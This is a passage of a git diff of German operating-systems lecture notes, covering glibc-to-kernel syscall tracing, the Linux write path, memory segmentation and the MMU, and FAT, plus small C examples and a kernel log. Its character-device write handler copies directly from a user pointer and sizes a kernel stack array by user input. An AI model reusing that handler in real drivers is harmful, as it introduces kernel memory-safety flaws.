12:57:40 cassini kernel: [1601214.177086] esac; +May 7 12:57:40 cassini kernel: [1601214.177086] done; +May 7 13:07:49 cassini kernel: [1601823.599104] I was assigned major number 241. To talk to +May 7 13:07:49 cassini kernel: [1601823.599106] the driver, create a dev file with +May 7 13:07:49 cassini kernel: [1601823.599108] 'mknod /dev/chardev c 241 0'. +May 7 13:07:49 cassini kernel: [1601823.599108] Try various minor numbers. Try to cat and echo to +May 7 13:07:49 cassini kernel: [1601823.599109] the device file. +May 7 13:07:49 cassini kernel: [1601823.599109] Remove the device file and module when done. +May 7 13:07:58 cassini kernel: [1601832.651791] Got user data: Dies ist ein Test. +May 7 13:07:58 cassini kernel: [1601832.651791] . +cassini/home/peter/bo/2021ss/bs/20210430> tail chardev-1b.c + */ +static ssize_t +device_write(struct file *filp, const char *buff, size_t len, loff_t * off) +{ + char b[len + 1]; + strncpy (b, buff, len); + b[len] = 0; + printk(KERN_INFO "Got user data: %s.\n", b); + return len; +} +cassini/home/peter/bo/2021ss/bs/20210430> diff --git a/20210507/os-layers-1.jpg b/20210507/os-layers-1.jpg new file mode 120000 index 0000000000000000000000000000000000000000..6dc99e9e12dbc84e908c37974c7d528be014d587 --- /dev/null +++ b/20210507/os-layers-1.jpg @@ -0,0 +1 @@ +../common/os-layers-1.jpg \ No newline at end of file diff --git a/20210507/os-layers-2.jpg b/20210507/os-layers-2.jpg new file mode 120000 index 0000000000000000000000000000000000000000..4da385ea396af0f9c7ed79b23a183a3b5618b445 --- /dev/null +++ b/20210507/os-layers-2.jpg @@ -0,0 +1 @@ +../common/os-layers-2.jpg \ No newline at end of file diff --git a/20210507/os-layers-3.jpg b/20210507/os-layers-3.jpg new file mode 120000 index 0000000000000000000000000000000000000000..eaf5b599709e39d1c51dfdac28843c31b3fa971c --- /dev/null +++ b/20210507/os-layers-3.jpg @@ -0,0 +1 @@ +../common/os-layers-3.jpg \ No newline at end of file diff --git a/20210507/os-layers-4.jpg b/20210507/os-layers-4.jpg new file mode 120000 index 0000000000000000000000000000000000000000..efcbbd1827ff55f225fee0b77b8bfb5c6cff980c --- /dev/null +++ b/20210507/os-layers-4.jpg @@ -0,0 +1 @@ +../common/os-layers-4.jpg \ No newline at end of file diff --git a/20210507/os-layers-5.jpg b/20210507/os-layers-5.jpg new file mode 120000 index 0000000000000000000000000000000000000000..91cabe9241f19ece833cb22e8f16587153f246a2 --- /dev/null +++ b/20210507/os-layers-5.jpg @@ -0,0 +1 @@ +../common/os-layers-5.jpg \ No newline at end of file diff --git a/20210514/bs-20210514.txt b/20210514/bs-20210514.txt new file mode 100644 index 0000000000000000000000000000000000000000..c11bfa49d1a3347fa18970cb973512926af2c5a5 --- /dev/null +++ b/20210514/bs-20210514.txt @@ -0,0 +1,130 @@ +Projektideen, 14.05.2021, 11:39:44 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Janus WebRTC + - Warum brach am 10.5.2021 die Bildübertragung per Janus + bei ca. 130 Teilnehmenden zusammen? + - Was kann man dagegen tun? + - Zum Testen: Pool-Rechner + + * Streaming + - Problem: WebRTC (Echtzeit) überlastet die Server. + - Mögliche Lösung: Echtzeit-Bildschirm "abfilmen" und streamen + - Ziel: Online-Konferenzsystem, + bei dem ein Teil des Publikums aktiv teilnehmen kann + (in Echtzeit, ca. 50 Teilnehmende) + und alle anderen (1000+) per Streaming (mit leichter Verzögerung) + zumindest passiv zuschauen und zuhören können + - Software: z.B. IceCast + - Zum Testen: Pool-Rechner + + * Mumble-Web-Interface + - Problem: Das Mumble-Web-Interface überlastet den Server. + - Ursache: + Der Web-Client spricht nicht direkt mit Mumble, + sondern per WebSocket mit seinem Server. + Der Server muß dann zwischen dem WebSocket und Mumble vermitteln. + + * VNC-Web-Interface + - Problem: Es hat funktioniert, aber es war langsam. + - Ursache: + Der Web-Client spricht nicht direkt mit VNC, + sondern per WebSocket mit seinem Server. + Der Server muß dann zwischen dem WebSocket und VNC vermitteln. + + * Mögliche Lösung: effizienteres websockify + - Aktuelle Implementierungen: python, node.js + - Idee: In C programmieren. + https://github.com/mittorn/websockify-c - ohne SSL, + aber um SSL kümmert sich ja der Web-Server (Proxy) + - Idee: node.js-Version verwenden. + node.js ist nur um den Faktor 1.5 langsamer als C, python ca. 10mal + https://benchmarksgame-team.pages.debian.net/benchmarksgame/which-programs-are-fastest.html + + * Weitere Lösungsideen + - auf mehrere Server verteilen + ? TigerVNC: effizienter gestalten: Scroll-Algorithmus + ? x11vnc: effizienter gestalten: Scroll-Algorithmus + ? noVNC: effizienter gestalten: WebAssembly + ? noVNC: effizienter gestalten: Scroll-Algorithmus + +Daten zu PULT-Nutzung, 14.05.2021, 11:51:32 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Mumble-Web-Interface: websockify python-3 + websockify auf main-0: 3% CPU-Last pro Instanz am 10.5.2021 + websockify auf main-0: 2.5% bis 4.0% CPU-Last pro Instanz am 14.5.2021 + +VNC-Web-Interface: websockify python-2.7, TigerVNC + websockify auf streaming: 1% CPU-Last pro Instanz am 10.5.2021 + websockify auf streaming: 2.5% CPU-Last pro Instanz am 14.5.2021 + TigerVNC auf streaming: 50% bis 64% CPU-Last mit 13 Instanzen am 14.5.2021 + TigerVNC auf streaming: 40% bis 45% CPU-Last mit 7 Instanzen am 14.5.2021 + TigerVNC auf streaming: 90% bis 97% CPU-Last mit ~120 Instanzen am 14.5.2021 + +Von der Anwendung bis zum Kernel: libc, 14.05.2021, 14:17:04 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +$ gcc -Wall -O -g3 hello-1.c -o hello-1 +$ gdb -tui ./hello-1 +(gdb) b 5 # setze Breakpoint vor printf()-Aufruf +(gdb) run +(gdb) step # springe in die aufgerufene Funktion hinein +(gdb) directory libc/glibc-2.28/libio # Verzeichnis für Quelltext mitteilen +--> _IO_puts() +(gdb) next # 1 Zeile ausführen +--> _IO_sputn() # springe in die aufgerufene Funktion hinein +--> IO_validate_vtable() # In dieser Funktion landen wir stattdessen. +--> return vtable; +--> "Hello, world!\n" erscheint auf dem Bildschirm. +--> ??? + +_IO_sputn() ist keine Funktion, sondern ein Präprozessor-Makro, +der _IO_XSPUTN() aufruft. + +_IO_XSPUTN() ist keine Funktion, sondern ein Präprozessor-Makro, +der JUMP2() aufruft und zusätzlich __xsputn +als ersten Parameter übergibt. + +JUMP2() ist keine Funktion, sondern ein Präprozessor-Makro, +der die Funktion _IO_JUMPS_FUNC(THIS)->FUNC() aufruft +und zusätzlich THIS als ersten Parameter übergibt. +FUNC hat hierbei den Wert __xsputn, und +THIS hat den Wert FP, also die Datei, hier also stdout. + +_IO_JUMPS_FUNC() ist keine Funktion, sondern ein Präprozessor-Makro, +der ... + +# define _IO_JUMPS_FUNC(THIS) \ + (IO_validate_vtable \ + (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + + (THIS)->_vtable_offset))) + +... prüft, ob die virtuelle Methodentabelle (vtable) in Ordnung ist +und einen Zeiger darauf zurückliefert. +Anschließend kann JUMP2() die tatsächliche Funktion __xsputn() aufrufen. + +Gesamtergebnis: + +_IO_sputn() ist eine virtuelle Methode der Datei. +THIS hat den Wert der Datei, hier also stdout. + +... +--> return vtable; +--> _IO_new_file_xsputn() +# --> _IO_OVERFLOW (f, EOF) +# --> IO_valudate_vtable() # Aufruf einer virtuellen Methode +# --> _IO_new_file_overflow() +# --> _IO_do_write (f, ...) # Präprozessor-Makro für ... +# --> _IO_new_do_write (f, ...) +_IO_default_xsputn (f, ...) +--> _IO_OVERFLOW (f, EOF) +--> IO_valudate_vtable() # Aufruf einer virtuellen Methode +--> _IO_new_file_overflow() +--> _IO_do_write (f, ...) # Präprozessor-Makro für ... +--> _IO_new_do_write (f, ...) +... Schleife ... +Datei fileops.c, Zeile 791 +--> _IO_new_do_write (f, ...) +--> new_do_write (f, ...) +--> _IO_SYSWRITE (fp, ...) +--> __libc_write() +Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26 +--> return SYSCALL_CANCEL (write, fd, buf, nbytes); diff --git a/20210514/hello-1.c b/20210514/hello-1.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210514/hello-1.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210514/hello-2.c b/20210514/hello-2.c new file mode 100644 index 0000000000000000000000000000000000000000..b767f77cd3a7328e5f45b60e674d32a647386509 --- /dev/null +++ b/20210514/hello-2.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + puts ("Hello, world!"); + return 0; +} diff --git a/20210514/hello-3.c b/20210514/hello-3.c new file mode 100644 index 0000000000000000000000000000000000000000..e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8 --- /dev/null +++ b/20210514/hello-3.c @@ -0,0 +1,12 @@ +extern int puts (char *s); + +void printf (void) +{ + puts ("Hello, world!"); +} + +int main (void) +{ + printf (); + return 0; +} diff --git a/20210514/verbinde-video-1.txt b/20210514/verbinde-video-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..aa25ed6cbcadb114bdbde3aa6b6b5de580a6bdd0 --- /dev/null +++ b/20210514/verbinde-video-1.txt @@ -0,0 +1,30 @@ +streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xwininfo -root -children + +xwininfo: Window id: 0x394 (the root window) (has no name) + + Root window id: 0x394 (the root window) (has no name) + Parent window id: 0x0 (none) + 20 children: + 0x1600088 (has no name): ("ssvncviewer" "Ssvnc") 1920x1080+0+0 +0+0 + 0x12003df "janus-1 Camera 0": ("display-im6.q16" "Display-im6.q16") 480x360+1440+720 +1440+720 + 0x20012a "Xpdf: /home/pult/vnc6/vnc-testbild.pdf": ("win" "Xpdf") 1920x1080+0+0 +0+0 + 0x12009ba "Pan Icon": ("display-im6.q16" "Display-im6.q16") 96x72+960+960 +960+960 + 0x12008c4 "Magnify 3X": ("display-im6.q16" "Display-im6.q16") 256x256+960+960 +960+960 + 0x12007c5 (has no name): ("display-im6.q16" "Display-im6.q16") 1x1+960+960 +960+960 + 0x12006cb (has no name): ("display-im6.q16" "Display-im6.q16") 1x1+960+960 +960+960 + 0x12005d1 "Commands": ("display-im6.q16" "Display-im6.q16") 134x410+960+670 +960+670 + 0x12001f3 (has no name): ("display-im6.q16" "Display-im6.q16") 96x72+960+960 +960+960 + 0x1600081 "chat": ("chat" "Ssvnc") 410x359+0+0 +0+0 + 0x600251 (has no name): () 1x1+3+2 +3+2 + 0x3a2 (has no name): () 100x100+0+0 +0+0 + 0x20013f "Xpdf: Print": ("printDialog_popup" "Xpdf") 5x5+0+0 +0+0 + 0x20013e "Xpdf: Find": ("findDialog_popup" "Xpdf") 5x5+0+0 +0+0 + 0x200130 "Xpdf: About": ("aboutDialog_popup" "Xpdf") 450x300+0+0 +0+0 + 0x200116 (has no name): () 5x5+0+0 +0+0 + 0x20010e "Xpdf: Password": ("passwordDialog_popup" "Xpdf") 5x5+0+0 +0+0 + 0x400001 (has no name): () 10x10+-100+-100 +-100+-100 + 0x200002 (has no name): () 1x1+0+0 +0+0 + 0x200001 "xpdf.real": ("xpdf.real" "Xpdf") 1x1+0+0 +0+0 + +streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xdotool windowraise 0x12003df +streaming/home/pult/vnc6> diff --git a/20210521/bs-20210521.txt b/20210521/bs-20210521.txt new file mode 100644 index 0000000000000000000000000000000000000000..ce1cc9236fe2cdbcbbe0e0fa5e5f9202d19a409d --- /dev/null +++ b/20210521/bs-20210521.txt @@ -0,0 +1,309 @@ +Bedeutung von "%rip", "%rax" usw. 21.05.2021, 12:04:22 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Quellen: +https://softwareengineering.stackexchange.com/questions/127668/what-does-the-r-in-x64-register-names-stand-for +https://stackoverflow.com/questions/10995349/what-does-the-r-stand-for-in-rax-rbx-rcx-rdx-rsi-rdi-rbp-rsp + +1. Quelle: + + It means register, and it isn't all for historical reasons. + + The historical part is that Intel got itself into the habit of enumerating + registers with letters with the 8008 (A through E plus H and L). That scheme + was more than adequate at the time because microprocessors had very few + registers and weren't likely to get more, and most designs did it. The + prevailing sentiment then was that software would be rewritten for new CPUs as + they appeared, so changing the register naming scheme between models wouldn't + have been a big deal. Nobody foresaw the 8088 evolving into a "family" after + being incorporated into the IBM PC, and the yoke of backward compatibility + pretty much forced Intel into having to adopt schemes like the "E" on 32-bit + registers to maintain it. + + The non-historical part is all practical. Using letters for general-purpose + registers limits you to 26, fewer if you weed out those that might cause + confusion with the names of special-purpose registers like the program counter, + flags or the stack pointer. + + I don't have a source to confirm it, but I suspect the choice of R as a prefix + and the introduction of R8 through R15 on 64-bit CPUs signals a transition to + numbered registers, which have been the norm among 32-bit-and-larger + architectures not derived from the 8008 for almost half a century. IBM did it + in the 1960s with the 360 and has been followed by the PowerPC, DEC Alpha, + MIPS, SPARC, ARM, Intel's i860 and i960 and a bunch of others that are + long-forgotten. + + You'll note that the existing registers would fit nicely into R0 through R7 if + they existed, and it wouldn't surprise me a bit if they're treated that way + internally. The existing long registers (RAX/EAX/AX/AL, RBX/EBX/BX/BL, etc.) + will probably stay around until the sun burns out. + +rax/eax/ax/al = "accumulator" +rbx/ebx/bx/bl = "base" +rcx/ecx/cx/cl = "counter" +rdx/edx/dx/dl = "data" + +rsi/esi/si = "source index" (64/32/16 Bit) +rdi/edi/di = "destination index" (64/32/16 Bit) + +16-Bit-Assembler: + + mov si <-- "Hello, world!\n" (Zeiger auf String) + mov di <-- Adresse einer Variablen (String dorthin kopieren) + mov cx <-- 14 (Länge) + rep movsb (Kopierschleife in einem einzigen Assembler-Befehl mit Präfix) + +"CISC" - "Complex Instruction Set Computing"; z.B. x86-Architektur +"RISC" - "Reduced Instruction Set Computing"; z.B. i860, Atmel, ARM, MIPS, RISC-V + + Statt "rep movsb": explizite Schleife + +loop: + mov al <-- [si] + mov [di] <-- al + inc si + inc di + dec cx + jnz loop (Jump if Not Zero) + +Intel i486: typischerweise 10 bis 30 Taktzyklen pro Befehl + +Intel i860: bis zu 3 Befehle pro Taktzyklus + Pipeline-Befehle + "delayed branch" + --> Nebenläufigkeit + --> mit 40 MHz ca. 6.5mal so schnell wie i486 mit 66 MHz + +loop: + mov al <-- [si] + mov [di] <-- al + inc si + dec cx + jnz loop (Jump if Not Zero - "delayed") + inc di <-- wird auf jeden Fall noch vor dem Sprung ausgeführt + +Warum kam der Übergang von CISC zu RISC? + + - "rep movsb": etliche Takte pro "Schleifendurchlauf" + - andere Befehle: mehrere Takte pro Befehl + + - RISC: typischerweise 1 Befehl pro Takt + +--> Eine "lange" Schleife in RISC verbraucht weniger + Takte pro Schleifendurchlauf als "rep movsb". +--> RISC ist schneller. + +Systemaufrufe, 21.05.2021, 12:08:00 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +hello-2.c +... +--> _IO_new_do_write (f, ...) +--> new_do_write (f, ...) +--> _IO_SYSWRITE (fp, ...) +--> __libc_write() +Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26 +--> return SYSCALL_CANCEL (write, fd, buf, nbytes); + +b+ │0x7ffff7eb54f0 <__GI___libc_write> lea 0xd61f9(%rip),%rax # 0x7ffff7f8b6f0 │ + >│0x7ffff7eb54f7 <__GI___libc_write+7> mov (%rax),%eax │ + │0x7ffff7eb54f9 <__GI___libc_write+9> test %eax,%eax │ + │0x7ffff7eb54fb <__GI___libc_write+11> jne 0x7ffff7eb5510 <__GI___libc_write+32> │ + │0x7ffff7eb54fd <__GI___libc_write+13> mov $0x1,%eax │ + │0x7ffff7eb5502 <__GI___libc_write+18> syscall │ + │0x7ffff7eb5504 <__GI___libc_write+20> cmp $0xfffffffffffff000,%rax │ + │0x7ffff7eb550a <__GI___libc_write+26> ja 0x7ffff7eb5560 <__GI___libc_write+112> │ + │0x7ffff7eb550c <__GI___libc_write+28> retq │ + │0x7ffff7eb550d <__GI___libc_write+29> nopl (%rax) │ + │0x7ffff7eb5510 <__GI___libc_write+32> push %r12 │ + │0x7ffff7eb5512 <__GI___libc_write+34> mov %rdx,%r12 │ + │0x7ffff7eb5515 <__GI___libc_write+37> push %rbp + +lea: Lade einen Zeiger aus einer konstanten Tabelle in das rax-Register +mov: Lade das, worauf der Zeiger zeigt, in das eax-Register +test: Prüfe, welchen Wert eax hat +jne: Jump if Not Equal = bedingter Sprung, falls ungleich 0 (Vermutung: Fehler) +mov: Lade die Zahl 1 als Parameter für syscall in das eax-Register. 1 steht für "write". +syscall: übergebe an den Kernel --> schreibt "Hello, world!\n" auf den Bildschirm +cmp: Vergleiche den Wert von eax mit einer Zahl +ja: Jump if Above (Prüfen auf Fehler) +retq: Beende die Funktion + +syscall erwartet Parameter in den Prozessor-Registern: + eax: Nummer der Funktion, die aufgerufen werden soll + rsi: Zeiger auf die auszugebenden Daten + (siehe: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-1.html) + ebx oder edx: Länge der auszugebenden Daten + (ggf. weitere Register) + +Kernel, 25.05.2017, 17:53:23 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Fragestellung: Wir haben in der glibc beim Maschinenbefehl "syscall" +aufgehört. Wie geht es nun im Kernel weiter? Wer nimmt den Funktions- +aufruf entgegen? + +Suchbegriff: sys_call_table + +--> Es gibt eine Tabelle, die für jeden der durchnumerierten Systemaufrufe + einen Zeiger auf die aufzurufende Funktion enthält. + +--> Der Maschinenbefehl "syscall" ruft eine Funktion innerhalb des + Kernels auf. Wo steht, welche Funktion das ist? + +arch/x86/entry/syscall_64.c: Defnition des Arrays sys_call_table + +Initialisiertes Array von Zeigern auf Funktionen. +Zunächst zeigen alle Zeiger auf die Funktion sys_ni_syscall(), +die lediglich eine Fehlermeldung zurückgibt ("nicht implementiert"). +Danach werden auf diejenigen Funktionen, die es tatsächlich gibt +Zeiger initialisiert. Dies erfolgt durch ein #include der Datei +/usr/src/linux-headers-4.19.0-8-amd64/arch/x86/include/generated/asm/syscalls_64.h +mit vorheriger Definition eines Präprozessor-Macros __SYSCALL(). + + asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { + /* + * Smells like a compiler bug -- it doesn't work + * when the & below is removed. + */ + [0 ... __NR_syscall_max] = &sys_ni_syscall, + #include <asm/syscalls_64.h> + --> [0] = __x64_sys_read, + [1] = __x64_sys_write, + [2] = __x64_sys_open, + ... + }; + +Vorher wurden mit demselben Trick alle Funktionen vorwärts-deklariert: + + #define __SYSCALL_64(nr, sym, qual) extern asmlinkage long sym(const struct pt_regs *); + #include <asm/syscalls_64.h> + --> extern asmlinkage long __x64_sys_read(const struct pt_regs *); + extern asmlinkage long __x64_sys_write(const struct pt_regs *); + extern asmlinkage long __x64_sys_open(const struct pt_regs *); + ... + #undef __SYSCALL_64 + +Wie können wur nun dafür sorgen, daß der Befehl syscall dieses Array +auch benutzt? + +arch/x86/entry/entry_64.S enthält eine Funktion entry_SYSCALL_64, +die eine Funktion "do_syscall_64()" aufruft +und sich über "USERGS_SYSRET64" beendet. +Dies ist ein Präprozessor-Makro, der zu "swapgs; sysretq;" expandiert +(Definition in include/asm/irqflags.h). + +Woher kommt die Include-Datei in "generated"? +arch/x86/entry/syscalls/Makefile ruft das Shell-Skript syscalltbl.sh auf. +Dieses liest syscall_64.tbl und erzeugt daraus syscall_64.h. + +Damit haben wir die Funktion gefunden, die den Syscall entgegennehmen soll. +Daraus ergeben sich neue Fragen: +1. Wie sorge ich dafür, daß sie tatsächlich bei "syscall" aufgerufen wird? +2. Wie geht es von dort aus weiter bis zu der Tabelle "sys_call_table"? + +zu 1.: +Suche nach "entry_SYSCALL_64" liefert: +arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64); + +Was bedeutet "wrmsrl"? +https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization +"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register) +is copied to the instruction pointer register (RIP) [...]" + +Demnach ist das Prozessorregister "IA32_LSTAR MSR" die Einsprungadresse, +zu der der "syscall"-Aufruf springen soll. +Um das Register "IA32_LSTAR MSR" zu setzen, gibt es den Befehl "wrmsrl" +(Write MSR (long = 32 Bit)). +Offensichtlich ist das MSR ein Array, und "IA32_LSTAR" ist der Index. + +zu 2.: +arch/x86/entry/common.c enthält die C-Funcktion do_syscall_64(). +Diese enthält die Zeile "regs->ax = sys_call_table[nr](regs);", also den +Aufruf der Funktion, auf die ein Zeiger in der tabelle "sys_call_table" +an der Stelle "nr" gespeichert ist. + +--> Weiter geht's mit dem Eintrag in sys_call_table, + also mit der Implementation von sys_write(). + +Die Tabelle wird benutzt in der Funktion do_syscall_64(): + + regs->ax = sys_call_table[nr](regs); + +Wo wird die Funktion __x64_sys_write definiert? +Wenn man lange genug sucht, findet man: arch/x86/include/asm/syscall_wrapper.h +Dort steht eine kleine Funktion __x64_sys_write(), die ihrerseits eine Funktion +__se_sys_write() aufruft. + +Der Präprozessor-Makro __SYSCALL_DEFINEx() wird über einen anderen Präprozessor-Makro +SYSCALL_DEFINEx() aufgerufen, der in include/linux/syscalls.h definiert wird +und seinerseits über SYSCALL_DEFINE3() aufgerufen wird, der ebenfalls in +include/linux/syscalls.h definiert wird. + +Wenn man lange genug sucht, findet man: fs/read_write.c +SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count) + +Dort wird eine Funktion definiert, die ihrerseits eine Funktion ksys_write() aufruft. +Diese enthält: + + ret = vfs_write(f.file, buf, count, &pos); + +Hier passiert das eigentliche Schreiben. + +Ebenfalls in fs/read_write.c: + + ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos) + +Diese ruft auf: + + ret = __vfs_write(file, buf, count, pos); + +Ebenfalls in fs/read_write.c: + + ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos) + +Diese ruft auf: + + if (file->f_op->write) return file->f_op->write(file, p, count, pos); + +:-) + +Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat? + +Der Funktion wird ein Parameter "file" übergeben. +Dies ist eine "struct file", die u.a. ein Feld "f_op" enthält, +das auf ein weiteres struct mit Callback-Funktionen zeigt. + +Wie kommen die "richtigen" Callback-Funktionen dort hinein? +Eigentlich müßte dies bei register_chrdev() passieren. +Schauen wir uns daher an, was register_chrdev() eigentlich macht. + +Dies ist definiert in include/linux/fs.h und ruft die Funktion +__register_chrdev() auf. + +Diese wiederum ist definiert in fs/char_dev.c. +Sie alloziert eine cdev-Struktur und speichert darin die fops. +Die cdev-Struktur wird dann mittels cdev_add() in eine Liste eingefügt. +Hierfür ruft cdev_add() die Funktion kobj_map() auf. +Diese Funktion wird in drivers/base/map.c definiert +und legt die cdev-Struktur in einer Hash-Tabelle ab. +Der letzte Parameter "data" ist dabei der Zeiger auf die cdev-Strutur, +die auch die fops enthält. + +Wie kommen nun die fops von der Hash-Tabelle aus in die file-Struktur? + +Vermutung: Dies geschieht beim Öffnen der Datei. + +In fs/open.c gibt es eine Funktion vfs_open(). +Diese sucht den zur Datei gehörenden inode heraus und ruft damit do_dentry_open() auf. + +Theorie der Dateisysteme: Dateien werden durch "inodes" repräsentiert. + +include/linux/fs.h: Definition "inode" + + Die "struct inode" enthält ein Datenfeld "i_rdev", in dem die Major- und Minor-Nr. + der Gerätedatei gemeinsam gespeichert sind. + + --> Sobald wir einen inode kennen, kennen wir Major- und Minor-Nr. der Gerätedatei. + +do_dentry_open() schreibt den inode in die file-Struktur, +holt die fops aus dem inode und legt sie direkt in der file-Struktur ab. + +# Das einzige, was jetzt noch fehlt: Wie kommen die fops in den inode? diff --git a/20210528/bs-20210528.txt b/20210528/bs-20210528.txt new file mode 100644 index 0000000000000000000000000000000000000000..77d27c416c291050c618df81f41e309c1518aaf6 --- /dev/null +++ b/20210528/bs-20210528.txt @@ -0,0 +1,230 @@ +Hauptspeicherverwaltung, 28.05.2021, 12:09:52 +============================================= + +Intel-16-Bit-Rechner ("Real Mode") +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Segment- und Offset-Adresse + +B800:0010: 67 +`--' `--' + | | + | `---> 0010 Offset + `--------> B800 + 16 * Segment + ----- + B8010 = physikalische Adresse + +Grund: +Hierdurch möglich, Programme in 16-Byte-Schritten +an beliebige Stellen im Speicher zu verschieben +"Relokation" +Adressen, die das Programm verwendet, sind grundätzlich +nur Offset-Adressen. Das Betriebssystem vergibt die +Segment-Adressen. + +Segment-Register: + - CS: Codesegment + - DS: Datensegment + - ES: Extra-Segment + - SS: Stack-Segment +... jeweils bis zu 64 kiB + +--> Das Betriebssystem kann dem Programm bis zu 256 kiB zur Verfügung stellen. + Dies sollte für alle Zeiten reichen. ;-) + +--> Programme, die mehr als 256 kiB benötigen, + manipulieren die Segmentregister selbst. + Damit kann das Programm bis zu 1 MiB ansprechen. + Dies sollte für alle Zeiten reichen. ;-) + +Intel-32-Bit-Rechner ("Protected Mode") +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Offset-Adressen: 32 Bit +Segment-Adresse: wird zu "Selektor" = Index für ein Array, + das sich intern im Prozessor befindet + und die eigentlichen Segmente beschreibt --> "Deskriptoren" + +Inhalt der Deskriptorentabelle: + - Lage des Segments im Speicher (als 32-Bit-Wert) + - Länge des Segments im Speicher (als 32-Bit-Wert) + (eigentlich immer 4 GiB; läßt sich auf diese Weise + mit Hardware-Untersützung begrenzen) + Bei Zugriff außerhalb des zugewiesenen Segments wird im + Prozessor eine "Exception" ausgelöst (ähnlich Interrupt). + - Präsenz-Bit: Segmente können entweder im physikalischen Speicher vorhanden sein + oder (z.B. auf Festplatte) ausgelagert sein. Bei Zugriff auf ein ausgelagertes + Segment wird eine Exception ausgelöst. + - Privilegierung: Wer darf dieses Segment nutzen? + Der Kernel hat mehr Rechte als die Anwenderprogramme. + - Segmenttyp: Ist dieses Segment lesbar/schreibbar/ausführbar? + +Vorteile: + - Maximale Speichergröße: 4 GiB statt 256 kiB. + Dies sollte für alle Zeiten reichen. ;-) + - Schutz des Kernels und der Anwendungsprogramme vor gegenseitiger Manipulation + - Auslagern von Speicher wird möglich. + +Was noch fehlt: + - Auslagern von Speicher nur segmentweise möglich. + --> Ein Programm kann immer nur als Ganzes ausgelagert werden. + +Memory Management Unit (MMU) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +https://de.wikipedia.org/wiki/Memory_Management_Unit: + + - Auslagern von z.Zt. nicht benötigtem Speicher + - Verzögertes Bereitstellen von angefordertem, aber noch nicht genutztem Speicher. + - Isolation von Prozessen untereinander und zwischen Prozess und Betriebssystem + - Sharing von einzelnen Seiten zwischen Prozessen (Shared Memory) + - Non-Sharing von Seiten zwischen Threads eines Prozesses (Thread-local storage) + - Einblenden von Dateien als Speicher (Memory-mapped files) + +Die MMU unterteilt das dem Programm zugeordnete Segment +und den physikalischen Speicher in "Seiten" (typischerweise 4 kiB) +und ordnet diese einander zu, nicht notwendigerweise linear. +Auch können Speicherseiten ausgelagert sein. (Damit wird die +bereits im Protected Mode realisierte Auslagerung von Segmenten +überflüssig.) + +Es können also z.B. zwei verschiedene Programme dieselbe Speicheradresse "sehen"; +dahinter verbergen sich jedoch zwei unterschiedliche Adressen im physikalischen +Speicher. + +Massenspeicherverwaltung, 28.05.2021, 13:49:15 +============================================== + +"Dateisystem" = Schema, wie man Daten auf dem Datenträger ablegt und wiederfindet + +Beispiel: test-tab.txt + + Datenträger: USB-Stick + Größe: 4 GB + Inhalt: + + Adresse Länge Datei + 0 14 test-1.txt + 14 28 test-2.txt + ... ... ... + +--> mit auf dem Datenträger speichern + +File Allocation Table (FAT) +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - Unterteilung des Datenträgers in "Cluster" von fester Größe, + z.B. 1 kiB, 2 kiB, 4 kiB (bis hierhin: gut), ..., 64 kiB (schlecht) + + - File Allocation Table (FAT) = Tabelle aller Cluster + Die maximale Größe der Tabelle kann 2^12, 2^16 oder 2^32 betragen. + Jeder Eintrag ist 12 oder 16 oder 32 Bit groß und kann somit + als Index für die Tabelle genutzt werden. + + --> Maximale Größe des Datenträgers = Größe der FAT * Größe des Clusters + Beispiel: FAT16: 2^16 * 64 kiB = 4 GiB, + Problem mit Vorzeichen: nur 2 GiB + + Bei "vernünftiger" Cluster-Größe von 4 kiB: 2^16 * 4 kiB = 256 MiB, + mit Vorzeichenproblem sogar nur 2^15 * 4 kiB = 128 MiB + + - Bedeutung der Werte am Beispiel FAT16: + 0000: Cluster ist nicht von einer Datei (oder einem Verzeichnis) belegt + 0002 bis FFF6: Cluster ist Teil einer Cluster-Kette; Wert = nächster Cluster in Kette + FFF7: Cluster ist defekt + FFF8 bis FFFF: Cluster ist der letzte Cluster einer Cluster-Kette + + - Zugriff auf eine Datei über deren ersten Cluster, z.B. 0004, + an den sich eine verkettete Liste von Clustern anschließt. + Länge der Datei: 5 Cluster + + FAT + 0000 + 0000 + 0000 + 0000 + 0005 <-- Cluster Nr. 0004 = erster Cluster der Kette + 0006 <-- 2. Cluster der Kette + 0008 + FFF7 <-- defekten Cluster überspringen + 0009 + FFF8 <-- letzter Cluster der Kette + 0000 + 0000 + ... + + --> Eine Datei belegt immer mindestens 1 Cluster. + Daher sind große Cluster (z.B. 64 kiB) schlecht. + + - Zur Sicherheit befindet sich die FAT zweimal auf dem Datenträger. + Damit 